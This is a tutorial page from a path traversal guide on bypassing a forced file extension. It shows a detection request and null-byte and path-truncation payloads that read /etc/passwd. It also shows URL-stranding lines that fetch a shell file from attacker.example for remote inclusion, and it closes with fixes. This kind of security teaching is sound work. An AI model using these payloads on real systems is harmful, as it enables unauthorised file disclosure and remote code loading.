Path Traversal: The Complete Practical Guide

Path Traversal Extension and Suffix Tricks

How to defeat a forced file extension in path traversal: null-byte truncation on legacy runtimes, question-mark and hash stranding, and path truncation.

Published

A common half-defense is to force an extension onto your input, so ?file=report becomes report.html and you cannot name an arbitrary file. This page covers removing that forced suffix. Note up front that the null-byte classic is largely legacy, while the URL-style strands are the more current tricks. Practice on a free live target.

Step 1: detect the forced suffix

The server appends an extension when it expects a specific file type. Reveal it by requesting a path that cannot exist and reading the error, which often echoes the full resolved name:

GET /view?file=../../nonexistent HTTP/1.1
Host: target.example
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
 
Could not open /var/www/pages/../../nonexistent.html

The .html the server added is your obstacle: pointing at /etc/passwd would try to open /etc/passwd.html, which does not exist.

Null-byte truncation (legacy)

On old runtimes, a null byte terminated the underlying C string before the extension was appended, so the forced suffix was simply cut off:

../../../../etc/passwd%00
../../../../etc/passwd%00.html

This was fixed in PHP 5.3.4 (2010) and modern runtimes are hardened, so it only works on genuinely old PHP or Perl stacks or the occasional native handler. Try it against dated targets, do not rely on it elsewhere.

Question-mark and hash stranding (URL-style loaders)

This one is worth knowing but is mostly out of scope for pure path traversal, because it needs the loader to fetch your value as an actual URL, which is really remote file inclusion rather than a filesystem read. On a plain filesystem open it does nothing: ? and # are ordinary filename characters, so /etc/passwd? just looks for a file literally named passwd? and fails. A file:// path has no query string either, so the trick does not apply there.

Where the loader does fetch a real URL, a ? or # pushes the server's appended extension into the query string or fragment instead of the path:

http://attacker.example/shell.txt?        the appended .php lands after the ?, so shell.txt is fetched
http://attacker.example/shell.txt%23      the # fragment strands the suffix

Because this depends on URL semantics rather than the filesystem, it belongs with file inclusion (loading, and often executing, a fetched file), a separate topic. For pure path-traversal reads, the null-byte and path-truncation tricks above are the in-scope suffix defeats.

Path truncation (old PHP)

Very old PHP truncated paths beyond a length limit and ignored trailing /. segments, so padding the path could push the appended extension past the truncation point. This is dated and finicky:

../../../etc/passwd/././././.  (long pad, legacy PHP only)
../../../etc/passwd.           (trailing-dot trimming, legacy)

When none of these work

If the runtime is modern and the loader is a plain filesystem open, the forced extension may simply hold. Your alternatives are to find a target that legitimately ends in the forced extension (read a .html or .log you care about), or to pivot to a different parameter or feature without the suffix constraint. Honesty matters here: on a patched stack, extension forcing is often an effective control, and not every target yields.

Step 3: confirm

Confirm the response returns the bare target without the forced extension. If you still see a "cannot open ...extension" error, the suffix survived and you need a different trick or target.

Fixing it

  • Force the extension by validating, not appending to raw input. Resolve and canonicalize first, then confirm both the directory and the extension.
  • Reject null bytes and control characters in the filename outright.
  • Do not treat a filesystem path like a URL, which removes the ?/# stranding.

Full guidance is in preventing path traversal. For every payload in one place, see the cheat sheet, or try a suffix bypass on a free lab.

← Back to Path Traversal: The Complete Practical Guide